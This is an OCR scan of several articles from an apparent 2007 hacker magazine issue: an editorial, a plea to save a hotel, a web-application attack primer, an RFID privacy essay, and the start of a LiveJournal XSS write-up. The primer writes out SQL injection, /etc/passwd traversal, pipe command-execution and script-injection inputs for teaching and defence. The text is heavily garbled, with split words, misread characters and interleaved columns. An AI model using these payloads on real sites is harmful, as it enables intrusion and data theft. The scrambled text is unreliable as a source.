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P lease bel ieve us when we say that we 
don't i ntention a l l y  set out to cause troub le  and 
mayhem . It somehow seems to a lways fi nd 
us. 

We started a hacker magaz ine  because it 
was a subject that was of i nterest to a number 
of us  and there was a void to be fi l led. We 
didn't expect the fasc ination, fear, obsession, 
and demon ization that fol lowed us, cou rtesy 
of everyone from the media to the government, 
from the Fortu ne 500 to h igh school teachers 
and pr inc ipa l s .  I t  j u st sort of happened that 
way. 

We didn't ask to be th rown i nto the front 
l i nes of the motion p ictu re i ndustry's copyright 
batt les back in 2000. That a l so j u st happened 
because of who we were and what we bel ieved 
i n .  There were many thousands that the Motion 
P ictu re Assoc iation of America cou ld have 
taken to cou rt for host ing the DeCSS code on 
the i r  webs ites. B ut we somehow ep itom ized 
everyth i ng the MPAA was aga i nst and th i s  
made us  the perfect target for them. Mere ly  
ex ist i ng apparent ly  was enough . 

And by s imp ly  being  present at various 
p ivota l moments in hacker h istory where 
there was noth i ng for us to do but speak out 
aga i nst var ious i nj u st ices, we aga i n  fou nd 
ou rse lves being propel led i nto a pos it ion of 
advocacy and leadersh i p, when rea l l y  a l l  we 
were doi ng was conti n u i ng to make the same 
poi nts on what hack i ng was and what it was 
not. Lock ing  people in pr ison for being over ly 
cur ious or exper imenti ng on the wrong bits of 
technology was just wrong, p l a i n  and s imple .  
It was a poi nt we had started our very fi rst issue 
with . And s i nce so few others were say ing this 
out loud, it  became our f ight once more . 

Th is  k ind of th i ng never seems to end. 
A l so in the year 2000 wh i le a l l  eyes were 
on the Repub l i can National Convention i n  
Ph i ladel ph ia, i t  was our own l ayout art i st 
who was grabbed ofi the streets and locked 
up on ha l f  a m i l l ion dol la rs ba i l ,  charged 
with bei ng a ch ief r ing leader of oppos it ion.  
The on l y  ev idence aga i nst h im was su rvei l ­
lance footage that showed h im walki ng down 
a street tal k i ng on a cel l  phone. Needless to 
say, it didn't st ick and, i n  fact, a l aws u it aga i nst 

the c i ty for th i s  nonsense was qu i te successfu l .  
B ut even that wasn't the f ina l  chapter of the 
story. Fou r  years l ater in New York, our editor 
was a l so taken off the streets wh i le the Repub­
l i can Nationa l  Convention was in that c ity. 
Th i s  t ime it seemed to be a random sweep of 
peopl e  who ju st happened to be stand ing on 
a part icu la r  b lock.  Aga in ,  it  provoked wide­
spread outrage and condemnation, as wel l  as 
a l l  charges be i ng dropped and a lawsu i t  wh ich 
conti n ues to be argued i n  court to th i s  day. B ut 
there's sti l l  more. Recent ly a j udge ordered 
the New York Pol ice Department to rel ease 
i nterna l  documents on these events which 
they had been try ing  to keep to themselves. 
These docu ments started to see the l ight of day 
i n  February of th i s  year. And among the fi rst 
to be revea led so far is a memo that outl i nes 
what one of the i r  b iggest fears was. Yes, that's 
r ight. Us aga i n .  Apparent ly the NYPD was 
concerned because not on ly  was our l ayout 
a rt ist ru mored to be in town (poss ib l y  prepared 
to use h i s  phone aga in )  but he had spoken at 
a conference di rectl y  across the street from 
where the Repub l ican Convention was to be 
held. And he had spoken on potentia l  ways of 
caus ing m i sch ief and mayhem! So once aga i n  
w e  were catapu l ted to front a n d  center, j ust for 
discuss ing  the th i ngs that are of i nterest to us .  
Even the location of  our conferences, he ld in  
the same p lace s i nce 1994, were cal led i nto 
question as be i ng provocative because they 
were so c lose to the s ite of the Repub l ican 
Convention. 

It a l l  a l most reads l i ke a badTV snipt, where 
the same characters keep gett ing lau nched i nto 
the center of attention week after week. I n that 
k ind of a sett i ng, th i s  happens beca use there 
are on ly  a certa i n  number of characters and 
the story l i nes have to be kept i nteresti ng and 
active. In rea l l i fe, th i s  on l y  serves to demon­
strate the th reat of actual l y  reach i ng peop le 
who may share you r i nterests and goal s. Not 
on l y  can you change the cou rse of h i story i n  
accompl i sh i ng th is  bu t  the fear you insti l l  along 
the way among the powers-that-be m ight itsel f 
a l so have a profound effect on the outcome. 
Scary stuff i ndeed. 
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B ut now we f ind ou rselves yet aga i n  i n  a sty le" wa l l  of advert i s i ng  that wou l d  rep lace 
pos i t ion where we have no choice but to take the ornate entryway of the exist ing hote l .  
a stand a n d  he lp  start someth ing  that cou l d  S o  the fi nanc ia l  i ndustry and t h e  advert i sers 
h ave a p rofound effect on a lot of peop le .  wou ld  be th r i l led .  But  the peop le  who v i s i t  
And th i s  t ime i t  goes wel l  beyond the hacker New York C ity wou ld  have one l ess afford­
com m u n ity. We learned earl ier  t h i s  year that ab le  hote l to stay in (the near ly  2 000 rooms 
the s ite of  our  conferences ment ioned above in Hotel Pen nsy l va n i a  a re often fi l led year 
- New York's h i stor ic  H otel Pen nsy lva n i a  - i s  rou nd) and o n e  more h i stor ic  structu re wou l d  
set t o  b e  demol i shed.  As o f  th i s  wr it i ng, the be destroyed . Th i s  doesn 't even address the 
only oppos i t ion to th i s  has been a whole lot overwhel m i ng be l i ef that such a mass ive 
of voi ces i n  the w i l derness with no apparent fi nanc ia l  structu re s i m p l y  i sn 't needed with 
u n i ty. So once more i t  appears that our the ent i re fi nanc ia l  d i str ict downtown bei ng 
com m u n ity w i l l  have to step u p  and hope- rebu i lt. Were i t  to be constructed, however, 
fu l l y  make a d i fference. there i s  l i tt le  doubt that it wou ld  become a 

Why shou l d  we care? S i mp le .  Ever s i nce heav i l y  guarded fortress with very l i m ited 
start ing  the Hackers On P lanet Earth confer- access i b i l ity due to post-91l 1 syndrome, i n  
ences back i n  1 994, the H otel Pen nsy lva n i a  stark contrast t o  t h e  open and bust l i ng hotel 
has been our home (with the except ion of lobby that cu rrent ly  occup ies the space. 
Beyond HOPE in 1 99 7). I t  has th ree major  We know the hote l i sn 't i n  the fi nest of  
factors going  for i t :  1 )  Locat ion - the hote l i s  shape. I n  th i s  age o f  "b igger i s  better" a n d  
d i rect ly  across t h e  street from t h e  bus iest tra i n  i ns i st ing  that every modern conven ience be 
station in North Amer ica and a l so centra l l y  with i n  reac h i ng d i stance a t  a l l  t i mes, there 
l ocated i n  Manhattan;  2) H i story - the hotel a re many who s i m p l y  can not handle a p l ace 
is a fasci nati ng con nect ion to the past, both with such O l d  Wor ld  decor. But it 's sti l l  ou r  
a rch itectura l l y  and i n  the  many  events and  home and we've grown rather attached to  i t .  
peop le  who have been l i n ked together over Without i t, the futu re of the HOPE confer­
the decades i n  i ts vast h a l l ways; and 3 )  Cost ences wou l d  be very much  in jeopardy and 
- the re l ative cheapness of the hotel i s  what certa i n l y  not as conven ient  to get to for those 
makes it poss i b l e  for us to cont i nue  to have from out of tow n .  And th i s  is the key. The 
the conferences in New York C i ty as  wel l  as majority of peop le  affected by i ts destruct ion 
for our attendees from out of town to be ab le  wou ld  l i ke l y  be people who don ' t  l ive loca l l y  
t o  stay there . and  have probab ly  not even heard of these 

There was one th ing  that was drummed omi nous p l ans  yet. That is someth i n g  we can 
i nto our heads over and over aga i n  when change. 
we were l ook ing  to sta rt a major hacker We a l so have to rea l i ze that th i s  i s  so 
conference in the U n i ted States, espec i a l l y  i n  much b igger than o u r  own relative ly  sma l l  
response to o u r  desi re to have i t  i n  N ew York:  com m u n ity. There are scores of other confer­
It was i mposs ib le .  And to t h i s  day it rem a i n s  ences and l i tera lly m i l l ions o f  people who 
i mposs ib le  that we cou ld  hold a n  event of have wal ked th rough the doors and gotten 
th i s  s i ze i n  a c ity l i ke N ew York and manage someth i n g  out of the p l ace. By l i n k i n g  as  
to keep i t  affordab le .  B ut we do i t  anyway. I t's many of them together as poss i b le, we have 
because of a combi nat ion of magica l  i deas, the potent i a l  of u n it ing  forces and, at the very 
the magica l people who come and b u i l d  i t  least, spea k i ng out loud l y  aga i nst los i n g  th i s  
every two years, and  t h e  magica l place that hote l .  I t  seems as i f  th i s  has become our  obli­
makes i t  a l l  poss i b l e. Th i s  i s  a l l  most defi- gation .  And, as h i story has shown us,  be ing 
n i te l y  worth p reserv i ng.  who you are at a part i cu la r  p l ace and po i nt i n  

I n  the " real word" however, peop le  don't t i me is somet i mes a l l  you need . 
th i n k  l i ke th i s .  It a l l  comes down to dol l ars and The odds are certa i n l y  aga i n st u s .  And th i s  
cents and h o w  t o  make t h e  most i mpressive i s  l i ke ly  to be a fight that we're invo lved i n  
p rofit. And those i n  charge (namelyVornado, for qu ite some time to come. But we be l ieve 
the rea l ty f irm that happens to own the hote l )  gett i ng i nvo l ved i n  th i s  could b e  an  u p l i ft i ng  
fe l t  it  wou ld  be most p rofitab le  to  tear down exper ience, one where we tru ly  rea l ize the 
the hote l and rep lace it with a huge fi nanc ia l  i m portance of  i nd iv idua l  vo ices brought 
tower. Those in the fi nance i ndustry wou l d  together i n  a common cause. There w i l l  be 
no longer have to r ide the su bway downtown lots more on this in the future. For now, we 
to get to work. I n stead they could comm ute hope you can jo i n us on l i ne at  http://ta l k . 
from the suburbs by tra i n ,  exit  Pen n  Stat ion,  hope .net to d i scuss ways to save the hotel 
and s imply wa l k  across the street to the i r  jobs .  (and p lan for futu re HOPE conferences) i n  
And everyone leav i ng Pen n  Stat ion wou l d  a l ive ly  forum env i ron ment. A n d  w e  hope 
w ind  u p  being barraged with a "Ti mes Square everyone can he lp  us spread the word. 
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Web app l i cat ions a re comp lex serv ices 
ru n n i ng on remote systems that a re accessed 
with o n l y  a browser. They have m u l t ip le  
attack vectors and th i s  art i c le  i s  by no means  
a comprehens ive gu ide .  Today I w i l l  d i scuss  
what web app l icat ions are, how they work, 
d i scuss  common attack methods, provide 
br ief examp les of spec if ic attacks, and d i scuss  
how to proper ly  secu re a web app l i cat ion .  

What  do I mean  by  web  appl i cation ?  A 
web app l i cat ion is a col l ect ion of stat i c  and 
dynam i ca l l y  generated content to  prov ide 
some serv ice .  Maybe i t ' s  Wik iped i a  prov id i ng  
a n  ever-updat ing  knowledge base or Amazon 
prov id ing  a commerce porta l .  These app l i ­
cat ion can span m u l t ip le  doma i ns, such as 
Wachov ia ' s  on l i ne ban k i ng system.  As you 
can see in F igure 1 ,  web app l i cations have 
m u l t ip le  parts . There is a p rogram u sed to 
access the web app l icat ion known as a u ser 
agent .  There i s  a JavaScr i pt log ic l ayer which 
a l l ows very l i m i ted code to execute on the 
c l ient ' s  mach i ne .  Th i s  i s  i mportant because 
send i  ng req uests across the I n ternet c loud to 
the server i s  expens ive in terms of t ime and l ag. 
There is a web server wh ich  has some kind of 
server logic l ayer. Th i s  l ayer uses i nputs from 
the c l ient  such as cookies or parameter va l ues 
to dynamica l l y  generate a response.  Usua l l y  
t h i s  response i s  composed o f  data stored i n  
a back end database. Th i s  database i s  m a i n­
ta i ned and pop u l ated by var ious programs 
l i ke web crawlers and adm i n  scr i pts . 

Web app l i cat ions a re not a pass i ng fad .  
Major  compa n ies l i ke Amazon,  eBay, Google, 
Sa leforce.com, and U PS a l l  use complex web 
app l i cati ons  with severa l deriv i ng  a l l  thei r 
i ncome from them.  Many more compan ies 
a re deve lop i ng web apps stri ct ly  for i nterna l  

use .  The cost benefits of  hav i n g  an  app l i ca­
t ion that i s  centra l l y managed and ca n be 
accessed by any browser regard less of the 
u nder l i n e  as are s i m p l y  too great to ignore.  
With the i r  p l ace i n  the o n l i ne l andscape 
assured i t  i s  essentia l  for hacker and secu rity 
p rofess iona l  a l i ke to u nderstand  fundamental  
secu r i ty r i sks of a web app l i cation .  

As  you  can see  web  app l i cations  d i ffer from 
trad i t iona l  appl i cat ions in that they ex i st on 
n u merous t iers and span m u l t ip le  d i sc i p l i nes .  
Program mers, i nterna l  web designers, graph ic  
a rt i sts, database adm i ns, and  IT adm i n s  are 
a l l  i nvol ved. I t's easy for th i ngs to s l i p  through 
the cracks because peop le  assume a task  is  
someone e l se ' s  respons i b i l i ty. Th i s  confus ion  
gap  i s  r ipe for v u l nerab i l i t ies .  

Backend 
Processes 
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Attack ing  web appl i cat ions is a lot l i ke of th i s  a rt ic le .  
be ing  a detective. The  structu re of  the app l i - Parameter Manipulation 
cation conta i n s  you r  c l ues. From them you Parameter m a n i p u l at ion i nvo lves mod i -
l earn i nformation about i ts structu re, i f  the fy i ng the va l ue of i n puts try i ng  to make the 
appl icat ion i s  u s i ng pre-made components app l icat ion act i n  ways the designers never 
( l i ke phpB B),  what its i nputs a re, and what i ntended. We have a l l  seen a s i te with a 
types of resou rces are ava i l ab le .  You a l so have URL l i ke "s ite.com/story.php? id=1 7 3 2 " .  The 
a l i st of witnesses you can ask to get i nforma- " id" i n put spec i fies which resou rce to serve 
t ion not d i rect ly  ava i l ab le  from the s i te .  These up. Mod ify ing  th i s  va l ue a l lows access to 
are your  search engi nes. How often is the s i te d i fferent stor ies that m ight not norm a l l y  be 
updated? Does the IT staff ask quest ions on  ava i l ab le .  Th i s  i n c l udes th i ngs l i ke arch ived/ 
new groups or forums? Are there any known deleted items or futu re/u npub l i shed items. 
vu l nerab i l i t ies aga i nst any of the appl i cat ion ' s  Th i s  tech n ique i s  known as "va l ue fuzzi ng" 
components? Th i s  i s  j u st bas ic system fi nger- and is qu i te usefu l .  
pr i nt i ng, on ly  you are fi ngerpr in t ing an  app l i - What i f  we send a request with " id=-
cat ion i n stead of a system.  1 " ?  Chances are the app l i cat ion wi l l  return 

Web appl icat ion attacks fa l l  i nto two cate- an error. However the error m ight conta i n  
gories: resou rce enu merat ion a n d  parameter i nformation that is usefu l .  Th i ngs l i ke the fi le-
man ipu l at ion .  system path for that  resou rce. Maybe we ' l l  

Resource Enumeration get some in formation about what database 
Resou rce enu merat ion i s  a l l  about the app l icat ion tr ied to contact or even i nfor­

access i ng resou rces that the web app l i ca- mati on about the structu re of that database ! 
t ion does n ' t  pub l i c l y  advert i se. By th i s  I mean Perhaps we' l l  get a stack track that wi l l  show 
resou rces that ex i st but have no l i n ks to them what fu nct ions the program i s  ca l l i ng or even 
anywhere in the web app l icati on .  the va l ues of  the parameters. Th i s  techn ique 

The fi rst way to execute resou rce en u mer- is known as "edge case test i ng" or " bounds 
at ion i s  based on th i ngs you a l ready know test ing . "  Program mers common ly  forget to 
about the appl i cation .  If Checkout .php exi sts, dea l with edge cases so th i s  a rea is r ipe for 
make a request for Checkout.bak or Checkout. vu I nerabi I i t ies .  
php .o ld .  If you succeed you' l l get a copy of  There are severa l attacks wh ich  are 
the P H P  sou rce code complete with database rea l l y  j ust spec if ic examp les of parameters 
con nect ion str i ngs and passwords. man ipu lat ion .  We wi l l  d i scuss SQL I njec-

In addit ion to what fi les a re present in the tion, Com mand Execut ion,  and Cross S i te 
app l i cat ion, you a l so know about the struc- Scr i pti ng.  
ture .  Suppose there i s  a resource l i ke "/users/ SQL Injection 
ac idus/profi l es/bookmarks .php" .  After try i ng A l most a l l  comp lex web app l i cat ion,  
var ious permutat ions of bookmarks .zip and from Amazon to Ti nyURL, h ave a back end 
such,  send i n g  a request for "/users/" cou ld  database. The i n puts you supp ly  the web 
return someth i ng i n terest ing .  Perhaps i t's a appl i cat ion when you request a resou rce are 
d i rectory l i st i ng, or it serves an o lder defau l t  eventua l l y  converted i nto some k ind  of  SQL 
page. Regard less, you wi l l  find l i n ks to statement to extract content from th i s  back 
resou rces that m ight not be ment ioned e l se- end database. Depen d i ng on how we l l  the 
where on the s i te .  Wh i le web servers can be i nputs a re fi l tered you can get arb itrary SQL 
configu red to deny access to d i rector ies, th i s  statements to  run on th i s  back  end database. 
sett ing  can be g loba l  or  spec if ic to a fo l der I t  i s  best to show an example .  Suppose we 
group.  Any sett i ngs can a l so be overr idden d i scover a URL l i ke "/Showltem.php? id=2 7 1 0" .  
on  a per  fo l der bas i s .  Just because "/users/" Chances are 2 7 1  0 i s  the pr i mary key i n  some 
or "/users/ac idus/" don ' t  work does n ' t  mean k i nd of prod uct tab l e  in the database. Let's 
"/users/ac idus/profi l es/" won ' t  work. A lways say in the P H P  we have an SQL statement 
send requests for every d i rectory you see. that looks l i ke SELECT * FROM Products WHERE 

Once you ' ve sent requests for resou rces prodID = + id. Th i s  is ca l led a concatenated 
based on th i ngs you know, you shou ld s i mp ly  query str ing and i s  v u l nerab le  to  SQL I njec­
guess for resources. "/test .aspx", "/temp.php" ,  t ion .  If I send 2 7 1 0  UNION ALL SELECT * FROM 

and "/foo. htm l "  are good ones. You cou ld  try Customers the resu l t i ng SQL statement is 
"db. i nc" ,  "password .txt", or "website .z ip " .  The SELECT * FROM Products WHERE prodID = 271 0 

d i rectories "/ad m i n/", "/stats/", and "/prOnl" are UNION ALL SELECT * From Customers. Th is  
good ideas too. A comprehensive l i st of  fi les statement w i l l  return the product i nformation 
and d i rector ies to guess i s  beyond the scope for product 2 7 1 0 and a l l  the records in the 
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Customers tab le  (ass u m i ng it ex ists). Th i s  i s  
si m p l y  one examp le  of  sQL i nject ion .  See 111 

and [21 from more i nformation .  
SQL i njection i s  a b ig  prob lem.  The Par i s  

H i l t()nl�Mobi le hack d idn't happen because 
someone sn iffed the phone's traffic. T-Mobile's 
webs i te had an i nterface to a l l ow subscr i bers 
access to their address books. Th i s  means  
the  webs ite had to  touch the  database that 

Cross Site Scripting 
Cross S i te Scr i pti ng (XSS) i s  a mechan i sm 

to  i nject Javascr ipt i nto the  web page that i s  
retu rned t o  t h e  user. Cons ider  t h e  s imp lest 
examp le, as shown i n  F igure 2. The web 
appl icat ion has a persona l ized greeti ngs 
page. The key to the v u l nera b i l i ty i s  that the 
i nput parameter name is reflected i nto the 
page that i s  retu rned to the user. As F igure 3 

stores contact i nformation .  An attacker found  shows, i f  I i nsert a b lock of  Javascr i pt i t  too 
an input  they cou l d  exp lo i t  and  d u mped out i s  retu rned to the u ser. So what can do you 
�evera l address books through the T-Mobi l e  w i t h  J avascr ipt? You c a n  stea l cookies, h ijack 
web page us ing sQL i n ject ion . sess ions, l og keystrokes, captu re HTML traffic 
.--'--"------''-----'------/---:----------------, (a ka screen scrapp i ng), and many 

http://eXample.comlhello'Ph7pna�BIIJY-' . other th i ngs. See [5J and [6] for 

/' more i nformation about nasty 

./#'-' th i ngs Javascr ipt can do. See [7] 
/' '" <HTML> for a case study us i ng  XSS + AJAX 

/': "'''/''' .. to make m a l i c ious requests as 
4' <hl>Helio there BWy,</hl> a nother user. 

Xss can a l so get i njected 
i nto the back end database of 

'--___________ <.:.!f.;..·H;.:.T .:...M;.:;L .:...> ________ .J a webs ite, common l y  th rough 
Command Execution 

Ma ny times there a re app l i cat ions that a re 
executed on a web server simp ly  by v i s i t ing 
a page. For  example, ns lookup, whois ,  f inger, 
p i ng, traceroute, upti me, who, last, and cat 
can be found  i n  50-ca l led appl i cat ion gate­
ways. Th i s  is where a web page receives i nput 
from the user and passes it to a native app l i ­
cat ion, returni ng the output. These gateways 
a re qu ite common dna were among the fi rst 
u ses of web pages and C G I .  Here is an actua l  
Per l  sc r ip t  I ' ve seen i n  the w i l d  wh ich serves 
pages: 
$res � param('file'), 
open (FIN, $res); 
@FIN = <FIN>; 

foreach $fin (@FIN) { print "$fin\n" } 

A request for "/cgi-b i n/fi le .cgi ?fi l e=contact. 
htm l" w i l l  return the contents of the fi le .  F i rst 
of a l i i can see one v u l nera b i l ity that i s n ' t  even 
a com mand execution .  Mak ing a request for 
"/cg i  -b  i n/fi I e  . cg i  ? fi I e= . .I . .I . .I . ./. . letc/passwd" 
wi l l  g ive you the U n i x  password fi le .  Fu rther, 
the open command supports the use of p i pes. 
P i pes a l low a command to be executed and 
i ts output sent  to another p rogra m .  A request 

foru m  posts, member profi l es, and custom 
stock tickers . Th i s  is espec i a l l y  nasty s i nce 
the XSS w i l l  affect many more people .  There 
a re many avenues to l a u nch Xss attacks . [8J 
p rovides a deta i led look at the d i fferent XSS 
mechan i sms  and defens ives. 

As you can see XSS i s  a n  extremely 
comp lex top i c  and I ' ve on ly brushed the 
su rface. Due to techno logies l i ke AJAX and 
the fact that everyone i s  us ing standards 
comp l iant browsers the danger of XSS is 
much h i gher than it was when XsS was or ig i ­
n a l l y  d i scovered i n  2 000. For some of the 
rea l ly nasty stuff, see my B lack H at Federa l 
p resentation [91 . 

Defensives 
A l most a l l  web app l i cat ion attacks can 

be stopped by va l idat ing  or fi l ter ing the 
i n p uts of the appl icat ion .  sQL i nject ion i sn ' t  
poss i b l e  i f  you r  n u mer ic  i nputs on ly  conta i n  
n u mbers. X s S  attacks are not poss ib le  i f  you 
don ' t  a l low a subset of a markup language i n  
you r  i n put .  A wel l p laced regex can save you 
a lot of headache i f  it's in the proper p lace. 
J u st because you have c l ient s ide Javascript 

for "/cgi -b i nlfi le .cgi?fi l e=nmap 
-vi" w i l l  execute nmap on the 
server i f  i t  ex i sts ! Th i s  happens 
because the open fu nction wi l l  

http://example.comlhello.php1name=� IPT>badness .. 

// 
execute the nmap com mand 
for  you and the p i pe means  the 
open fu nct ion reads the output 

/
" ''''<HJ£ /;/,./:" <Hl>Helio there <SCRIPT>badness .. 

from "nmap -v" as if it were a 
fi l e .  See 131 and [41 for more </HTML> 

i nformat ion .  
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to va l idate i nput  va l ues does n ' t  mean you 're 
protected. I can a l ways d i rect ly  connect to 
you r  app l i cat ion and comp lete ly  bypass you r  
fi l ters. A lways i mp lement fi l ters on t h e  server 
s ide !  You r  mantra shou ld  be "never trust 
a nyth ing  I get from the c l ient . "  Everyt h i ng you 
get from the c l ient i n c l u d i ng cook ies, q uery 
stri ngs, POST data, and  HTTP headers can a l l  
b e  fa ked . A lways make su re you i m p lement 
some k ind of length restr ict ion on  you r  f ie l d  
too. Otherw i se someone m ight i m p l ement 
a fi l esystem on top of your web app l i cation  
[ 1 0] ! 

Conclusions 
I hope th i s  a rt i c l e  served as a n i ce pr i mer 

o n  a l l  the i ssues sur ro u n d i ng web app l i cat ion 
secu ri ty. It 's a comp l ex f ie ld and I encou rage 
you to check the c i ted works to learn more. 

There i s  no group, there i s  o n l y  code. 
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Radio Freak-me-out Ide 

by KnlghtlOrd 
Knl ghtIOrd@knlghtIOrd.org 

RF ID has become something of a hot 
top ic  in the hack ing wor ld .  There have heen 
m u l t ip le  presentations  on  secu r ity and pr ivacy 
of RF ID and a l so the techno logy heh i n d  it. 
Th i s  a rtic le  is des igned to be a what-if type 
scenar io on what RF ID is potent i a l l y  capah le  
of  and where the techno logy i s  head i ng. 

RF I D  stands for Rad io  Frequency Iden­
t i ficat ion which obv ious ly  means  identi­

fy i n g  objects u s i ng radio frequency. Cu rrent 
i mplementations i nclude a�set ma nagement, 
i nventory contro l ,  inventory tracking, access 
contro l ,  and ent ity ident ificat ion .  The fi rst 
th ree a re usual ly i m p l emented i n  a bus i ­
ness  env i ron ment to track i nventory from 
one l ocat ion to another or to mon itor asset 
activity to isol ate theft s i tuat ions  and prob lem 
areas . These i m p lementat ions of  RF I D  are 
very effic ient  and perform a va l uab le  task for 

Spring 2007---------------------Page 9 



a business.  The fou rth examp le  is not so good . 
R F I D  is being changed into a new type of I D  
for peop le  a n d  anima l s  t o  b e  used instead of 
a hard-copy form of identification .  This may 
seem convenient for peop le  and they don't 
see why this is bad . There are many possi­
bil ities for this techno logy to turn  ou r  wor ld 
upside down and a l low for Big B rother to 
tru l y  ma nifest itself .  

Cu rrent ly  a h u man being can receive an 
imp lanted RF ID chip that  stores an  identifica­
tion n u m ber that associates them with infor­
mation in a database. This can be anything 
from persona l  data such as name, address, 
and birth date to medica l  history, financial 
information, fami ly information, etc . The 
cost of storage space now is so cheap that it 
wou ldn 't be out of the question to store just 
about every type of information on any one 
person so that any organization ca n uti l ize 
the techno logy imbedded in said person .  If 
you don't get where I am going with this then 
thin k a massive database with information on 
every person that  has an  im p l anted tag. Now 
you may say  what  i s  the  big dea l?  There are 
a l ready databases out there with ou r  informa­
tion. Why sho u l d  one more be any different? 
Wel l  the prob lem is this. Any database that 
contains that vast amount  of information 
has to be contro l led by someone.  More than 
l ikely that someone wil l be the government. 
This may not seem so scary either. B ut wait, 
there is more. 

The possibi l ities a re then end less for the 
data and scenarios that the government 
can observe . Not on ly can the government 
observe this information but  so can anyone 
e l se who can figure out how to get the data 
off the tags. S i nce ou r  cou ntry is basica l ly 
run  by h uge retai l out lets it is not too far of 
a stretch to see prod uct marketing ana lysis 
based on h u man  p u rchase activity which is 
a l l  based on R F I D  techno logy. Pictu re wa l k i ng 
into Wa l-Mart and having the racks scan you r  
R F I D  tags a n d  create some kind o f  notice to 
you to point on items that you prefer based 
on past pu rchase history. You regu lar ly  buy 
b lack cotton t-shirts in size l a rge so the rack 
wil l  recognize this data and high l ight the rack 
with the b l ack cotton t-shirts with l itt le  l ights 
attached to a l l  the hangers that flash as you 
approach .  The same can be said about shoes.  
You wear a size 13 so it shows you only the 
size 13 shoes in stock. N ow take it one step 
further and say you p u rchase one of those 
pairs of shoes. The shoes themse lves have an 
RFID tag imbedded in them so now not o n l y  
c a n  w e  see where you are going based on the 
impla nted RF I D  tag, but we can a l so see that 
you bought you r  shoes from Wal -Mart and 
prod uce Wa l-Mart advertising on interactive 
bil l boards as you pass by. 

When you wa l k  into a coffee shop they 
wi l l  a l ready start making you r  favorite coffee 
because they got that information from you r  
tag. This may seem coo l ,  b u t  then they ask 
you how you r  mother is doing because they 
saw on the report that she had come down 
with an i l l ness and had to go to the hospita l 
the day before and they now have her taking 
penici l l in for an  infection .  That thought in 
itse lf  is pretty scary. You don't want you r  loca l  
coffee house to know everything about  you, 
do you? How can you even make a sma l l  
decision l ike whether you want cream o r  not 
if they a l ready know based on trends they 
have ana lyzed on you r  activity for the l ast 
f iscal  yea r? 

When everyone becomes a n u mber we 
wil l  see the true possibil ities of this tech­
no l ogy. A wea l th of know l edge is attached to 
you and that information is accessib le  by way 
too many peop le  for it not to be a l itt l e  scary. 
There are good things that can come out  of 
this, but is convenience better than privacy or 
free wil l ?  I think not. 

R F I D  in its cu rrent implementations  has 
been proven to be a re l iab le  so l u tion for 
tracking inventory. Change the word inven­
tory to h u mans  and you see the problem. The 
tech no logy does not change from one imple­
mentation to the other. The data on the tag 
may change somewhat, but the fundamenta l s  
d o  not. So what i s  stopping t h e  government 
from p l acing readers on every government 
owned piece of property and monitoring 
the activities of everyone with an imp lanted 
tag? N ot a who le  lot. Right now the cost for 
a reader is about $40 to $120 for a LF ( l ow 
frequency) mod u l e .  The government, being 
its om nipresent se lf, can get these devices for 
less or man ufactu re them for l ess and tai lor  
the techno logy to act  as i t  wishes. The cost 
for an  imp l ant is a round $20 for the tag and 
the cost  of  imp lantation which can vary from 
one doctor to another. There is not a whole  
l ot stopping the government from doing this. 
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L.j i t.r-I 

by Zaphraud 
This a rtic le  wil l  focu s  on a c l ickless SWF 

XSS exp loit of LiveJou rna l .com and the 
importa nce of: 

- Learning from the past. 
-Auditing a l l errors to at least determine 

what caused them . 
- Last but not least, the u ltimate form of 

code auditing: Using you r  program whi le 
intoxicated, to sim u l ate a " regu l ar" user. 

As of 6-0ctober-2006 Livejourna l  staff 
c l osed this v u l nerabil ity in the video temp l ate 
system. 

Recent Background 
A few months ago, LiveJou rnal  joined other 

blogging sites in su pporting video content for 
its members. I nitia l l y, the temp l ate system 
was u sed. Later, su pport was a l so added 
for simp ly  pasting OBJECT-sty le  code from 
Youtube or Photobucket. Focus  here is on 
the temp l ate system, which works as fo l l ows 
using a URL pasted in from one of the two 
a l l owable  services, YouTube or Photobucket: 
<LJ TEMPLATE=NAME>http : //www.youtube . 
"com/watch?v=d3 PyLe 6 s ivE</LJ-TEMPLATE> 

The very first thing that crossed my mind 
when I saw this was "Gee, I bet they a re o n l y  
checking domain names." I proceeded to 
post an entry on August 2nd featu ring a sma l l  
Mozi l l a  ban ner that I had u p loaded t o  Photo­
bucket for the pu rpose of testing this. The post 
is at acpizza. l ivejourna l .com/499638.htm l 
a nd u ses the fo l lowing snippet: 
<lj -template name = ''video ''>http://img. 
"photobucket . com/albums/v51 0/zaphraud/ 
"mi s c/mozi lla . swf</l j -template> 

On 1 3-September-2006, I discov-

"Funny / longcat. swf" </1 j -template> 

I t  did n't work a nd I edited it to fix it. Bear 
in mind that I was dru nk, so once I figured 
out what I did wrong by l ooking at previou s  
examp les, i s  i t  any s u rprise that I ended u p  
with: 
<l j -template name= ''v ideo''>http://img. 
"photobucket.com/albums/v51 0/zaphraud/ 
"Funny/longcat. swf "</lj-template> 

after "fixing" the problem? Notice I d runk- ! 
en ly  left a quote at the end? 

What happened next is key: I n stead of 
proper ly  breaking with the norma l  Live­
Journa l  error when HTML is a l l  sc rewed u p  
[Error : Irreparab le i nva l i d  markup ( 'what­
ever was bad ') in entry. Owner mu st fix 

manually. Raw contents below.], I saw the 
word OBJECT on one side and a quote and 
a "> on the other  side, with a working video 
in the midd le, presu mably  from the EMB ED 
tag. 

Yes, as  it tu rns  out from viewing the 
sou rce, it was possib le  to pass parameters 
to the f lash. I nitia l l y I p l ayed with this in the 
fo l lowing man ner: 
< l j -template name=''video' ' >http://img. 
"photobucket.com/albums/v5 1 0/zaphraud/ 
"Funny/zeldazvO . swf"he ight=" 1 "width=" 1</ 
"l j -template> 

Spaces in the URL are disa l l owed. 
However, by quoting parameters, separa­
tion of arguments is preserved. This one pixe l 
"videO" is actu a l l y  a h u mmed rendition of 
the Zelda theme song, which as you can 
imagine is quite capable of  making peop l e  
confu sed when i t  ends u p  posted in a Live­
Journa l  com m u nity, or a message com ment, 
as there is not rea l ly any way to te l l  where 
exact ly  it came from short of viewing the 
sou rce. At some point, a photobucket-hosted 
meatspin.swf was posted to a com m u nity, but 
a moderator deleted it rapid l y. 

ered a hi lariou s  meme whi le drunk  and 
posted another entry at acpizza. l ivejourna l .  
com/S0 1 921 .htm l and made the mistake of 
putting quotes around the URL, as fo l l ows: 
<l j -template n ame=''video''> ''http : //img. 
"photobucket.com/albums/v51 0/zaphraud/ 

Perhaps because of people getting u sed 
to MySpace profi les that are every bit as 
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a n noy ing  as l ate 1 990s Geoc i t ies web pages, abuse of th i s  funct ion went u nderreported . 
C lear ly, someth i ng la rger was needed i n  order to get th i s  prob lem fixed . It was t ime to reopen 
a can of Exxon Sea l Remover . . . .  
